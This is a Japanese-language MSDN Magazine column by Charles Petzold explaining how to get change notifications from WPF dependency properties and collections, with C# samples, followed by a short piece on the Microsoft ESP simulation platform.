コード内では、PopArt のインスタンスの SwirlyBrush プロパティの値を通常の方法で設定できます。
popart.SwirlyBrush = new SolidColorBrush(Colors.AliceBlue);
ただし、PopArt クラスには PopArt.SwirlyBrushProperty という名前のパブリックな静的フィールドが存在することに注意してください。このフィールドは、PopArt 型のどのオブジェクトにも依存しない、DependencyProperty 型の有効なオブジェクトです。これを使用することで、そのプロパティを持つオブジェクトが作成される前にクラスの特定のプロパティを参照できます。
DependencyObject で定義される SetValue メソッドもパブリックであるため、SwirlyBrush プロパティは次のようにしても設定できます。
popart.SetValue(PopArt.SwirlyBrushProperty,
  new SolidColorBrush(Colors.AliceBlue));
さらに、図 1 に示した 3 つのオブジェクトがある場合、次のように完全に標準化されたコードを使ってこのプロパティを設定できます。
target.SetValue(property, value);
図 1 オブジェクト
オブジェクト | 説明
target | DependencyObject から派生したクラスのインスタンス。
property | DependencyProperty 型のオブジェクト。
value | 依存関係プロパティの適切な型のオブジェクト。
値の型が、DependencyProperty に関連付けられている型 (この例では Brush) と一致しなければ、例外が発生します。ただし、DependencyProperty で定義される ValidType メソッドを利用することで、そのような問題を回避できます。
DependencyProperty オブジェクトを SetValue および GetValue と組み合わせて使用することでプロパティを参照し、設定する手法は、"SwirlyBrush" などの文字列を使ってプロパティを参照する従来の手法よりも簡潔です。従来の方法でプロパティを指定した場合、プロパティを実際に設定するためのリフレクションが必要でした。

ソースとターゲットをバインドする
XAML でデータ バインド、スタイル、アニメーションを設定する場合、依存関係プロパティを WPF 内で広範囲に使用する必然性はあまりありませんが、コード内でそのような設定をする場合、その必然性は高まります。BindingOperations および FrameworkElement によって定義された SetBinding メソッドには、バインドのターゲットとして、DependencyProperty 型のオブジェクトが必要です。WPF スタイルで使用される Setter クラスには、DependencyProperty オブジェクトが必要です。BeginAnimation メソッドにも、アニメーションのターゲットとして DependencyProperty オブジェクトが必要です。
WPF で優先順位付け規則が適切に適用されるためには、このようなターゲットがすべて DependencyProperty オブジェクトであることが必要です。たとえば、アニメーションによって設定されるプロパティ値は、スタイルによって設定される値よりも優先されます。特定のプロパティの値を決定した可能性があるソースを調べるには、DependencyPropertyHelper クラスを使用します。
データ バインドのターゲットは依存関係プロパティであることが必要ですが、バインドのソースは依存関係プロパティでなくてもかまいません。バインドによってソースの変化を正常に監視する必要がある場合、バインドのソースによって何らかの通知メカニズムを実装する必要があるのは明らかですが、実際には WPF では 3 種類のソース通知を実行できます。それぞれの種類のソース通知は単独で使用する必要があり、同時には使用できません。
1 つ目は、ソースとターゲットの両方に依存関係プロパティを使用する方法です (この方法が推奨されます)。同じプロパティが、さまざまな状況でバインドのソースとしてもターゲットとしても機能する場合、特に有効な方法です。
2 つ目は、プロパティ名に基づいてイベントを定義する方法です。たとえば、Flavor という名前のプロパティをクラスで定義する場合、FlavorChanged という名前のイベントも定義します。イベント名からわかるように、Flavor の値が変わるたびにこのイベントが発生します。このような通知は、Windows フォームで広く使用されていました (たとえば、Control により定義される Enabled プロパティには、対応する EnabledChanged イベントがありました)。ただし、これは WPF コードでは使用を避ける必要があるため、ここでは詳しく説明しません。
3 つ目は、INotifyPropertyChanged インターフェイスを実装する方法です。PropertyChangedEventHandler デリゲートに基づいて、このクラスで PropertyChanged という名前のイベントを定義する必要があります。関連付けられる PropertyChangedEventArgs オブジェクトには、PropertyName というプロパティが含まれます。このプロパティは、変更されたプロパティの名前を示すテキスト文字列です。
たとえば、クラスに Flavor というプロパティと、flavor という名前のプライベート フィールドが含まれる場合、プロパティの set アクセサは次のようになります。
flavor = value;

if (PropertyChanged != null)
  PropertyChanged(this, new PropertyChangedEventArgs("Flavor");
Flavor プロパティに加えられる変更を監視するクラスは、PropertyChanged イベントに単純にサブスクライブでき、このプロパティ (または、このクラス内の他のプロパティ) が変更されたときに通知することができます。
INotifyPropertyChanged インターフェイスも、絶対に間違いのない機能とは言えません。このインターフェイスの命令は、すべて PropertyChanged という名前のイベントです。クラスでこのイベントが必ず発生するという保証はありません。多くの場合、クラスでは一部のパブリック プロパティに対してのみイベントが発生します。ソース コードにアクセスできない場合、PropertyChanged イベントを発生させるプロパティと発生させないプロパティを事前に判別する適切な方法はありません。
それでも、WPF データ バインド、スタイル、またはアニメーションのターゲットとならず、なおかつ他のクラスに変更を通知する必要があるプロパティに対しては、INotifyPropertyChanged は単純で優れた解決策です。

カスタム コレクションと通知
オブジェクトのコレクションを使用する場合、いずれかのオブジェクトのプロパティに変更が加えられるたびに通知が必要になることがあります。最も望ましい通知は、コレクション内で変更された項目と、その項目で具体的にどのプロパティが変更されたかを正確に知らせる通知です。
コレクション内のオブジェクトに INotifyPropertyChanged インターフェイスが実装され、コレクション自体に INotifyCollectionChanged が実装されている場合、これは非常に簡単に実現できます。このインターフェイスを実装するコレクションでは、コレクションに新しい項目が追加されるか、既存の項目が削除されるたびに、CollectionChanged イベントが発生します。CollectionChanged イベントによって、追加された項目と削除された項目の一覧が得られます。よく使用されるコレクション オブジェクトで INotifyCollectionChanged を実装しているものとしては、ObservableCollection<T> ジェネリック クラスがあります。
ここでは、ObservableCollection<T> から派生したカスタム コレクション クラスを作成し、ItemPropertyChanged という名前の新しいイベントを実装します。このイベントは、コレクション内のいずれかの項目のプロパティが変更されるたびに発生し、その項目および変更されたプロパティを含むイベント引数を返します。図 2 に、PropertyChangedEventArgs クラスから派生した ItemPropertyChangedEventArgs クラスを示します。このクラスに、型オブジェクトの新しいプロパティである Item が含まれます。図 2 には、ItemPropertyChangedEventHandler デリゲートも示されています。
図 2 ItemPropertyChangedEventArgs
public class ItemPropertyChangedEventArgs : PropertyChangedEventArgs {
  object item;

  public ItemPropertyChangedEventArgs(object item,
    string propertyName) : base(propertyName) {
    this.item = item;
  }

  public object Item {
    get { return item; }
  }
}

public delegate void ItemPropertyChangedEventHandler(object sender,
  ItemPropertyChangedEventArgs args);
ObservableCollection<T> から派生し、ItemPropertyChanged イベントを定義する ObservableNotifiableCollection<T> を図 3 に示します。この新しいクラスでは、型パラメータが INotifyPropertyChanged 型のオブジェクトに限定されていることに注意してください。OnCollectionChanged のオーバーライド中に、コレクションに追加される各項目について PropertyChanged イベント ハンドラが登録されます。項目がコレクションから削除されると、PropertyChanged イベント ハンドラも削除されます。項目の PropertyChanged イベントの発生中、コレクションで ItemPropertyChanged イベントが発生します。PropertyChanged イベントの送信側オブジェクト (プロパティが変更された項目) が、ItemPropertyChangedEventArgs の Item プロパティになります。
図 3 ObservableNotifiableCollection<T> クラス
class ObservableNotifiableCollection<T> :
  ObservableCollection<T> where T : INotifyPropertyChanged {

  public ItemPropertyChangedEventHandler ItemPropertyChanged;

  protected override void OnCollectionChanged(
    NotifyCollectionChangedEventArgs args) {

    base.OnCollectionChanged(args);

    if (args.NewItems != null)
      foreach (INotifyPropertyChanged item in args.NewItems)
        item.PropertyChanged += OnItemPropertyChanged;

    if (args.OldItems != null)
      foreach (INotifyPropertyChanged item in args.OldItems)
        item.PropertyChanged -= OnItemPropertyChanged;
  }

  void OnItemPropertyChanged(object sender,
    PropertyChangedEventArgs args) {

    if (ItemPropertyChanged != null)
      ItemPropertyChanged(this,
        new ItemPropertyChangedEventArgs(sender,
        args.PropertyName));
  }
}
図 2 および図 3 で示したコードは、このコラムでダウンロードできるコードに含まれている ObservableNotifiableCollectionDemo プロジェクトの一部分です。このプロジェクトには、簡単なデモンストレーション プログラムも含まれています。

依存関係プロパティとイベント
依存関係プロパティによって優れたバインドのソースが作成されますが、パブリック イベントの形での汎用の通知メカニズムは提供されません。そのようなイベントを探し回ったあげく、この面倒な事実に気付けば、少々ショックを受けることでしょう。
しかし、DependencyObject では保護された OnPropertyChanged メソッドが定義されます。このメソッドは、DependencyObject の動作に欠かせないものです。個人的な経験から判断すると、OnPropertyChanged は SetValue を呼び出した結果として呼び出されます。個々の依存関係プロパティに関連付けられているコールバック メソッドを呼び出すのは、OnPropertyChanged です。OnPropertyChanged の関連ドキュメントには、このメソッドをオーバーライドする危険性について数多くの警告が記載されています。
依存関係プロパティを実装するクラスを記述する際、特定の依存関係プロパティが変更されるたびにイベントを発生するように、そのクラスのユーザーが希望していると想定することがあるでしょう。このような場合は、そのイベントを明示的に指定します。イベントには、プロパティの名前に "Changed" を付加した名前を付けますが (Windows フォームでのイベントの命名法に似ています)、DependencyPropertyChangedEventHandler デリゲートを使用したイベントを定義します。サンプルでは、UIElement の中に、FocusableChanged や IsEnabledChanged などの依存関係プロパティに関連付けられているイベントが多数含まれています。
前に示した PopArt サンプルでは、次に示すようなコードで SwirlyBrushChanged イベントを定義できます。
public event DependencyPropertyChangedEventHandler
  SwirlyBrushChanged;
前に示した OnSwirlyBrushChanged メソッドのインスタンス バージョンでは、このイベントを次のようなコードで発生させます。
if (SwirlyBrushChanged != null)
  SwirlyBrushChanged(this, args);
このコードはあまりにも平凡なため、これ以上の依存関係プロパティがイベントに関連付けられていないのは驚くべきことです。
使用するクラスの作成者が必要なイベントを用意していなかった場合、特定の依存関係プロパティが変更されたときに通知を受け取るには、別の方法を探る必要があります。幸運なことに、少なくとも 3 つの解決法があります。1 つ目は奇妙な方法、2 つ目は強引な方法、3 つ目は左側のフィールドを使用する方法です。

動的なバインド
依存関係プロパティの変更の通知を受け取るための奇妙な方法とは、依存関係プロパティとデータ バインドの両方を動的に作成することです。DependencyObject から継承されるクラスを記述する際、依存関係プロパティが含まれるオブジェクトにアクセスでき、そのいずれかの依存関係プロパティが変更されたときに通知を受ける必要がある場合、依存関係プロパティとバインドを実行時に作成して必要な情報を得ることができます。
たとえば、クラスで TextBlock 型のオブジェクト txtblk にアクセスでき、Text プロパティが変更されたときに通知を受ける必要があるとします。Text プロパティは TextProperty という名前の DependencyProperty によりサポートされますが、TextBlock では TextChanged イベントが定義されていません。この問題を解消するには、まず監視対象のプロパティと同じ型の DependencyProperty を登録します。
DependencyProperty MyTextProperty =
  DependencyProperty.Register("MyText", typeof(string), GetType(),
  new PropertyMetadata(OnMyTextChanged));
この DependencyProperty オブジェクトは、パブリックな静的フィールドである必要はありません。この例に示すように、インスタンス メソッドの内部で登録することができます。OnMyTextChanged コールバックも、インスタンス メソッドにすることができます。
DependencyProperty を登録した後で、TextBlock オブジェクトとこのプロパティのバインドを定義できます。
Binding binding = new Binding("Text");
binding.Source = txtblk;
BindingOperations.SetBinding(this, MyTextProperty, binding);
これで、txtblk オブジェクトの Text プロパティに変更が加えられるたびに、OnMyTextChanged コールバックが呼び出されるようになります。
さらに、監視対象の DependencyObject と DependencyProperty の情報がまったくない状態でも、この DependencyProperty を登録し、コールバックを定義することができます。DependencyObject から派生した obj という名前のクラスで、property という名前の DependencyProperty 変数を追跡する必要があることのみ把握しているとします。コードは次のようになります。
DependencyProperty OnTheFlyProperty =
  DependencyProperty.Register("OnTheFly",
  property.PropertyType,
  GetType(),
  new PropertyMetadata(OnTheFlyChanged));

Binding binding = new Binding(property.Name);
binding.Source = obj;
BindingOperations.SetBinding(this, OnTheFlyProperty, binding);
この解決方法は、1 つのオブジェクトに 1 つ以上のプロパティが含まれている場合に適しています。同じ型の複数のオブジェクト (コレクションなど) を扱う場合、各オブジェクトの各プロパティに対して一意の依存関係プロパティとバインドを実行中に作成する必要があります。このような方法は、すぐに手に負えなくなります。

Freezable の差異
Freezable クラスは、依存関係オブジェクトに変更が加えられたときに通知を受け取る "強引な" 手法で使用します。この方法でも確かに通知を受けることができますが、実際に変更が加えられた対象を判別することができません。
Freezable は、DependencyObject で定義された OnPropertyChanged メソッドをオーバーライドし、Changed という名前の新しいプロパティを定義します。このプロパティについては、"この Freezable 自体またはそれに含まれるいずれかのオブジェクトが変更されたとき" に実行されると規定されています。この記述は太字で強調されています。"それに含まれるいずれかのオブジェクト" が依存関係プロパティにサポートされた Freezable 型のサブプロパティであると認識できる限り、実際にこの記述のように機能します。
たとえば、A という Freezable クラスに、B 型のプロパティ B が含まれているとします。B クラスも Freezable から派生しており、C 型のプロパティ C を含んでいます。C クラスも Freezable から派生し、double 型のプロパティ D を含んでいます。これらのプロパティはすべて、依存関係プロパティでサポートされています。これらのすべての型について、それぞれ対応するオブジェクトを作成し、プロパティ D を変更すると、A、B、C すべてのクラスで Changed イベントが発生します。このコラムでダウンロードできるソース コードに含まれている NestedFreezableNotificationsDemo プロジェクトで、この動作を確認できます。
大きな問題点は、この Changed イベントが EventHandler デリゲートに基づいており、Freezable オブジェクトのどのプロパティ (またはサブプロパティ) が変更されたかに関する正確な情報がまったく得られないことです。さらに、この方法による通知ではオーバーヘッドが大きいという問題があります。そのため、変更不可能にすることができ、すべての通知を消失できる機能にちなんで Freezable クラスという名前が付けられています。
Freezable は、WPF のグラフィックス システムで広く使用されています。Brush、Pen、Geometry、Drawing の各クラスは、すべて Freezable から派生しています。DoubleCollection、PointCollection、VectorCollection、Int32Collection などのコレクションは、Freezable から派生しています。また、このようなコレクションにはコレクションが変更されたときに発生する Changed イベントも実装されています。その他の Freezable コレクションとしては、コレクション内の項目のいずれかのプロパティまたはサブプロパティが変更されるたびに Changed イベントを発生させる Freezable オブジェクト (GeometryCollection や TransformCollection など) のコレクションがあります。
たとえば、PathGeometry は Freezable から派生しています。これには PathFigureCollection 型の Figures プロパティが含まれていますが、このプロパティもまた Freezable から派生しています。PathFigureCollection には PathFigure 型のオブジェクトが含まれていますが、これもまた Freezable から派生しています。PathFigure には PathSegmentCollection 型の Segments というプロパティが含まれていますが、これも Freezable です。PathSegment は Freezable から派生しており、PolyLineSegment や PolyBezierSegment などのクラスの基本クラスです。これらのクラスには PointCollection 型の Points というプロパティが含まれていますが、このプロパティもまた Freezable から派生しています。
全体的な動作としては、個々のポイントが変更されたときに変更通知がオブジェクト階層をさかのぼって伝達され、グラフィカル オブジェクト全体が再描画されます。
PathGeometry では、変更されたポイントを正確に判別し、ジオメトリの該当部分だけを修正するのでしょうか。つまり、増分更新は実行されるのでしょうか。公開されている情報から判断する限り、それは不可能です。PathGeometry によって判別できることは、何らかの変更が加えられ、全部を最初から再描画する必要があることのみです。
入れ子になったサブプロパティのコレクションのどこかで何らかの変更が発生したという単純な通知が、目的に適合するのであれば、Freezable クラスは最適な解決策の 1 つと言えます。また、FreezableCollection<T> ジェネリック クラスも便利です。型パラメータは Freezable 型にする必要はありません。単純に、DependencyObject にするだけでかまいません。ただし、型パラメータが Freezable 型であれば、コレクションの項目のプロパティまたは Freezable サブプロパティに変更が加えられたときに Changed イベントが発生します。
Freezable クラスには特定の制限事項があることに注意してください。クラスを FreezableCollection<T> から派生させる場合、CreateInstanceCore をオーバーライドする必要があります (さらに、そのクラスのコンストラクタを単純に呼び出して、そのオブジェクトを返す必要があります)。そうしなければ、意味不明の奇妙なエラーが発生します。

DependencyPropertyDescriptor を使用する
3 つ目の方法は、DependencyPropertyDescriptor クラスを含む依存関係プロパティから通知イベントを取得する方法です。このクラスは "主にデザイナ アプリケーションで使用する" と規定されているため、決してわかりやすい解決策ではありませんが、実用的で重要な方法です。
ここでも、TextBlock 型のオブジェクトにアクセスでき、Text プロパティが変更されたときに通知を受ける必要があるとします。まず、DependencyPropertyDescriptor 型のオブジェクトを作成します。
DepedencyPropertyDescriptor descriptor =
  DependencyPropertyDescriptor.FromProperty(
  TextBlock.TextProperty, typeof(TextBlock));
1 つ目の引数は DependencyProperty オブジェクト、2 つ目の引数はその依存関係プロパティを含む、または継承するクラスです。DependencyPropertyDescriptor は特定の TextBlock オブジェクトに関連付けられていないことに注意してください。
次に、特定の TextBlock オブジェクト (この例では txtblk) の Text プロパティに加えられた変更を検出するためのハンドラを登録します。
descriptor.AddValueChanged(txtblk, OnTextChanged);
ハンドラを削除する RemoveValueChanged メソッドも存在することに注意してください。
OnTextChanged ハンドラは、単純な EventHandler デリゲート シグネチャに基づいており、次のようなコードで定義されます。
void OnTextChanged(object sender, EventArgs args) {
  ...
}
EventArgs 引数では情報が返されません。ただし、ハンドラの最初の引数が、Text の値が変更された TextBlock オブジェクトとなります。
これらのハンドラを複数の依存関係プロパティで共有せずに、それぞれの依存関係プロパティごとに別々のハンドラを用意しようとする場合もあるでしょう。しかし、オブジェクトはハンドラに対する 1 つ目の引数で判別できるため、複数のオブジェクトでハンドラを簡単に共有できます。
これで、最後の手順を実行するために必要な情報が揃いました。最後の手順では、コレクション内の項目の依存関係プロパティが変更されたときに通知を発生させるコレクションを構築します。

DependencyObjects のコレクション
理論的には、DependencyObject から派生したオブジェクトのコレクションがある場合、特定の依存関係プロパティに対応する DependencyPropertyDescriptor オブジェクトを作成できます。このオブジェクトを利用して、コレクション内の任意の項目でこれらのプロパティが変更されるたびに、通知を受けることができます。
DependencyPropertyDescriptor からの通知を処理するメソッドに関して、1 つ問題があります。どの依存関係プロパティが変更されたのかを判別できないため、1 つのメソッドを複数の依存関係プロパティで共有しないでください。それぞれの依存関係プロパティについて、別々のメソッドが必要です。一般的に、実行時になるまでは必要な数のメソッドを使用することはできません。メソッドは実行時にも動的に作成できますが、それには中間言語を生成する必要があります。通知処理専用のメソッドを含むクラスを定義した後、監視対象の依存関係プロパティそれぞれに対して、このクラスのインスタンスを作成する方が簡単です。
ここでは、それを実行するために ObservableDependencyObjectCollection<T> を作成し、これを ObservableCollection<T> から派生させています。このコレクションの項目は、DependencyObject から派生したクラスのインスタンスであることが必要です。コレクション クラスでは、その型パラメータにより定義または継承された各 DependencyProperty に対して、または選択された一連の DependencyProperty オブジェクトに対して、DependencyPropertyDescriptor オブジェクトが作成されます。
ObservableDependencyObjectCollection<T> により、ItemDependencyPropertyChanged という名前の新しいイベントが定義されます。図 4 に、イベント引数の定義とこのイベントのデリゲートを示します。ItemDependencyPropertyChangedEventArgs は、通常の DependencyPropertyChangedEventArgs と似ていますが、Item プロパティが含まれている点と、OldValue プロパティが含まれない点が異なります。
図 4 ItemDependencyPropertyChangedEventArgs
public struct ItemDependencyPropertyChangedEventArgs {
  DependencyObject item;
  DependencyProperty property;
  object newValue;

  public ItemDependencyPropertyChangedEventArgs(
    DependencyObject item,
    DependencyProperty property,
    object newValue) {

    this.item = item;
    this.property = property;
    this.newValue = newValue;
  }

  public DependencyObject Item {
    get { return item; }
  }

  public DependencyProperty Property {
    get { return property; }
  }

  public object NewValue {
    get { return newValue; }
  }
}

public delegate void ItemDependencyPropertyChangedEventHandler(
  Object sender,
  ItemDependencyPropertyChangedEventArgs args);
実際の ObservableDependencyObjectCollection<T> クラスの実装例を 3 つ紹介します。このクラスの最初の部分を図 5 に示します。このクラスは ObservableCollection<T> から派生していますが、型パラメータは DependencyObject に限定されます。ObservableCollection<T> には 2 つのコンストラクタが含まれます。1 つはパラメータを持たないコンストラクタ、もう 1 つはコンテンツ初期化用の List<T> ジェネリック オブジェクトを持つコンストラクタです。新しいクラスにはこの 2 つのコンストラクタが含まれますが、必要に応じて監視対象の DependencyProperty オブジェクトを指定できる 2 つのコンストラクタも追加されます。
たとえば、Button オブジェクトのコレクションが必要であるものの、フォント関連の 2 つのプロパティが変更されたときにのみ通知を受ける必要があるとします。コンストラクタは次のようになります。
ObservableDependencyObjectCollection<Button> buttons =
  new ObservableDependencyObjectCollection(
  Button.FontSize, Button.FontFamily);
次に、このコレクションのハンドラを実装します。
buttons.ItemDependencyPropertyChanged +=
  OnItemDependencyPropertyChanged;
図 5 のすべてのコンストラクタで、最後に GetExplicitDependencyProperties または GetAllDependencyProperties が呼び出されます。1 つ目のメソッドでは、コンストラクタ引数で指定された各 DependencyProperty オブジェクトごとに、単純に CreateDescriptor を呼び出します。2 つ目のメソッドでは、リフレクションを使用して、型パラメータおよびその先祖 (BindingFlags.FlattenHierarchy が表す内容) により定義された DependencyProperty 型のパブリック フィールドをすべて取得した後、それぞれについて CreateDescriptor を呼び出します。
図 5 ObservableDependencyObjectCollection<T> コンストラクタ
public class ObservableDependencyObjectCollection<T> :
  ObservableCollection<T> where T : DependencyObject {

  public event ItemDependencyPropertyChangedEventHandler
    ItemDependencyPropertyChanged;

  List<DescriptorWrapper> descriptors = new List<DescriptorWrapper>();

  public ObservableDependencyObjectCollection() {
    GetAllDependencyProperties();
  }

  public ObservableDependencyObjectCollection(List<T> list) : base(list) {
    GetAllDependencyProperties();
  }

  public ObservableDependencyObjectCollection(
    params DependencyProperty[] properties) {

    GetExplicitDependencyProperties(properties);
  }

  public ObservableDependencyObjectCollection(List<T> list,
    params DependencyProperty[] properties) : base(list) {

    GetExplicitDependencyProperties(properties);
  }

  void GetExplicitDependencyProperties(
    params DependencyProperty[] properties) {

    foreach (DependencyProperty property in properties)
      CreateDescriptor(property);
  }

  void GetAllDependencyProperties() {
    FieldInfo[] fieldInfos =
      typeof(T).GetFields(BindingFlags.Public |
                          BindingFlags.Static |
                BindingFlags.FlattenHierarchy);

    foreach (FieldInfo fieldInfo in fieldInfos)
      if (fieldInfo.FieldType == typeof(DependencyProperty))
        CreateDescriptor(fieldInfo.GetValue(null) as DependencyProperty);
  }

  void CreateDescriptor(DependencyProperty property) {
    DescriptorWrapper descriptor =
      new DescriptorWrapper(typeof(T), property,
      OnItemDependencyPropertyChanged);
      descriptors.Add(descriptor);
  }
CreateDescriptor メソッドを呼び出すたびに、DescriptorWrapper 型の新しいオブジェクトが作成され、コレクション内の項目の型、監視対象の DependencyProperty、および OnItemDependencyPropertyChanged という名前のコールバック メソッドがそのオブジェクトに渡されます。
図 6 に示す DescriptorWrapper クラスは、ObservableDependencyObjectCollection<T> に包含され、本質的に DependencyPropertyDescriptor をラップします。コンストラクタにより、この DependencyPropertyDescriptor およびコールバック メソッドに関連付ける特定の DependencyProperty が不要になります。
図 6 DescriptorWrapper クラス
class DescriptorWrapper {
  DependencyPropertyChangedEventHandler
    OnItemDependencyPropertyChanged;
  DependencyPropertyDescriptor desc;
  DependencyProperty dependencyProperty;

  public DescriptorWrapper(Type targetType,
    DependencyProperty dependencyProperty,
    DependencyPropertyChangedEventHandler
    OnItemDependencyPropertyChanged) {

    desc = DependencyPropertyDescriptor.FromProperty(
      dependencyProperty, targetType);
    this.dependencyProperty = dependencyProperty;
    this.OnItemDependencyPropertyChanged =
      OnItemDependencyPropertyChanged;
  }

  public void AddValueChanged(DependencyObject dependencyObject) {
    desc.AddValueChanged(dependencyObject, OnValueChanged);
  }

  public void RemoveValueChanged(DependencyObject dependencyObject) {
    desc.RemoveValueChanged(dependencyObject, OnValueChanged);
  }

  void OnValueChanged(object sender, EventArgs args) {
    OnItemDependencyPropertyChanged(sender,
      new DependencyPropertyChangedEventArgs(
      dependencyProperty,
      null,
      (sender as DependencyObject).GetValue(
      dependencyProperty)));
  }
}
このクラスには、DependencyPropertyDescriptor オブジェクト内の対応するメソッドを呼び出す AddValueChanged メソッドと RemoveValueChanged メソッドも含まれています。OnValueChanged ハンドラによって、情報がコレクション クラスに返されます。
ObservableDependencyObjectCollection<T> クラスの最後のセクションを図 7 に示します。OnCollectionChanged メソッドのオーバーライドによって、コレクションに追加されるすべての項目 (および各 DescriptorWrapper) をループ処理し、AddValueChanged を呼び出します。コレクションから削除されたすべての項目に対応するハンドラが削除されます。
図 7 ObservableDependencyObjectCollection<T>
protected override void OnCollectionChanged(
  NotifyCollectionChangedEventArgs args) {

  base.OnCollectionChanged(args);

  if (args.NewItems != null)
    foreach (DependencyObject obj in args.NewItems)
      foreach (DescriptorWrapper descriptor in descriptors)
        descriptor.AddValueChanged(obj);

  if (args.OldItems != null)
    foreach (DependencyObject obj in args.OldItems)
      foreach (DescriptorWrapper descriptor in descriptors)
        descriptor.RemoveValueChanged(obj);
}

protected void OnItemDependencyPropertyChanged(object item,
  DependencyPropertyChangedEventArgs args) {

  if (ItemDependencyPropertyChanged != null)
    ItemDependencyPropertyChanged(this,
      new ItemDependencyPropertyChangedEventArgs(
      item as DependencyObject,
      args.Property, args.NewValue));
}
ObservableDependencyObjectCollection<T> クラスの最後にある OnItemDependencyPropertyChanged メソッドが DescriptorWrapper から呼び出され、ItemDependencyPropertyChanged イベントが発生します。これで、この演習全体の目的が達成されます。
ObservableDependencyObjectCollection<T> クラスは、型パラメータに基づいてコレクションを構築する時点で必要な DescriptorWrapper オブジェクトがすべて作成されるように構造化されています。この型パラメータを DependencyObject として指定し、パラメータを持たないコンストラクタを使用する場合、DependencyObject では自分の依存関係プロパティが定義されないため、DescriptorWrapper オブジェクトが作成されません。ただし、DependencyObject として型パラメータを指定し、一連の DependencyProperty オブジェクトを明示的に指定することで、通知が機能します。
より現実的なシナリオとしては、ObservableDependencyObjectCollection<T> の型パラメータを FrameworkElement に設定し、FrameworkElement のすべての派生クラス (TextBlock や Button など) をこのコレクションに入力することが考えられます。このコレクションでは、UIElement と FrameworkElement により定義された依存関係プロパティの変更のみが報告され、派生クラスで定義された依存関係プロパティの変更は報告されません。
柔軟性を高めるためには、項目が追加されたときに、項目の型および型により定義される依存関係プロパティに基づいて、新しい DescriptorWrapper オブジェクトを作成するようにコレクションを作成する必要があります。DescriptorWrapper オブジェクトを重複して作成しないように、最初にそれぞれの依存関係プロパティについて DescriptorWrapper が既に作成されていないかどうかをチェックする必要があります。
コレクションから項目を削除するとき、不要になった DescriptorWrapper オブジェクトを削除する場合があるでしょう。それには、各 DescriptorWrapper に使用カウンタを付加しておき、使用カウンタが 0 になったときに ObservableDependencyObjectCollection<T> の記述子コレクションから特定の DescriptorWrapper を削除する必要があります。
また、完全に柔軟なコレクション クラスを作成し、すべての項目のプロパティを監視することもできます。このとき、項目で依存関係プロパティが定義されていても、INotifyPropertyChanged インターフェイスを実装していてもかまいません。
このように、依存関係プロパティでも適切に扱うことで、Microsoft® .NET Framework のプロパティと同様にイベントを生成するように指定することができます。

ご意見やご質問は mmnet30@microsoft.com まで英語でお送りください。

Charles Petzold は MSDN Magazine の寄稿編集者です。最新の著書には『The Annotated Turing: A Guided Tour through Alan Turing's Historic Paper on Computability and the Turing Machine』(John Wiley & Sons Inc、2008 年) があります。


{ End Bracket }
新時代のビジュアル シミュレーション
Todd Landstad

Microsoft® ESP™ により、シミュレーション エンジン、ソフトウェア開発ツール、リアリティのある広範なコンテンツを備えた、オールインワンの完結したビジュアル シミュレーション プラットフォームが実現します。開発者は、3D モデリング ツール、Microsoft .NET Framework、C++、さらに XML ベースのトレーニング課題を使用して、魅力あるシミュレーションを作成できます。ESP シミュレーション エンジンは Microsoft Flight Simulator に実装されたものと同じであり、ビジュアル レンダリング、物理演算、5.1 サラウンド サウンド エンジン、その他の環境シミュレーションを処理します。
ESP v1.0 の核となっているテクノロジは歴史的に航空機産業と深い関連がありますが、PC ベースのシミュレーションには、ユーザーとの対話、自動車および船舶のトレーニング、地図ナビゲーションおよび空間ナビゲーションなど、さまざまな分野において大きな可能性を秘めています。パイロットや航空管制官のトレーニングなど、既にテストされている航空機産業向けシナリオに加えて、こういった機能強化が図られています。
ESP ベースのトレーニングとしては、物理処理の概念の解説や、ランドマーク ツアーの案内、新しい空港への進入に関するパイロット教習などが考えられます。受講者はこのようなサンプルを使用して 3D モデリング テストに参加し、新しい経験を得ることができます。このようなテストは快適で使い慣れた環境内で行われ、燃料費やメンテナンス費用もほとんどかからず、現実のトレーニングのような危険もありません。
ESP プラットフォームには、4 種類の開発キットが含まれています。
Core Utilities Kit .NET アプリケーションまたは C++ アプリケーションの API を使用して ESP プラットフォームとデータをやり取りすることで、天候や機体の状態などの詳細な環境情報を設定できます。このキットには、AI 駆動オブジェクトを作成する機能や、静的な背景を配置する機能が備えられています。200 個を超える変数があり、シミュレーションの内部でクエリを実行したり、設定したりできます。
Environment Kit プラットフォーム内で Environment Kit を使用することで、シミュレーション世界のリアリティを高めることができます。この SDK に備えられているユーティリティを使用することで、高解像度の地表テクスチャや立体建築物をインポートしたり、変更したりできます。静的なオブジェクトだけでなく、花火や噴水、雷などの動的な特殊効果をシミュレーション世界の特定の場所に追加できます。
Mission Creation Kit カスタマイズされ、明確な目標のあるトレーニングを通じてユーザーを指導する、構造的なトレーニングを実施するには、Mission Creation Kit を使用します。付属のエディタを使用して XML で記述されたミッションを作成することや、Core Utilities API をミッションに組み込み、トレーニングで対話機能を実現する .NET コードまたは C++ コードを追加することができます。構造的なトレーニングに、Shared Cockpit モードによるマルチユーザー サポートを追加できます。このモードでは、ネットワーク環境でユーザーが別のユーザーと "仮想的に" 同じ機体に乗り込み、ボイス オーバー IP (VoIP) 機能を使って会話することができます。
ESP によるフライト シミュレーション (クリックすると拡大画像が表示されます)
SimObject Kit SimObject Kit を使用することで、従来型のモデリング ツールを使用した高解像度の機体モデルをインポートできます。航空機、自動車、船舶などのオブジェクトの 3D モデルをインポートした後、アニメーションやカスタマイズ テクスチャ、さらに精密な内装も含めることができます。モデルの内装には、XML ベースまたはコード ベースの計器やリアルな制御板を配置できます。
ESP の仮想世界では、多数のデータ ソースを利用し、さまざまな種類の陸地と海洋、地域の建築物、背景、AI 生成による交通などが含まれた地球が緻密に表現されます。地表の上空には、リアルな天候状態が表現されます。時刻の変化に対応するシミュレーション エンジンの機能により、太陽、月、および 10,000 個以上の星が正確に表示されます。
ESP SDK のさまざまなコンポーネントを使用することで、コンテンツ、シミュレーション エンジン、環境に応じて、ソリューションのニーズを満たすようにシミュレーション世界をカスタマイズし、細かな現象を再現できます。たとえば、特定地域の気温が露点を下回ったときに霧を生成することができます。
ESP では航空機産業で培ったノウハウが活用されており、トレーニング ソリューションおよび教育ソリューション、意思決定支援シナリオ (災害計画やブラックボックス データの調査など)、研究開発のモデリングに主眼が置かれています。コンピュータ ベースのトレーニング フォームは、チェック ボックスやラジオ ボタンを使ってカスタマイズでき、集中度の高い、効果的で覚えやすいトレーニングを作成できます。
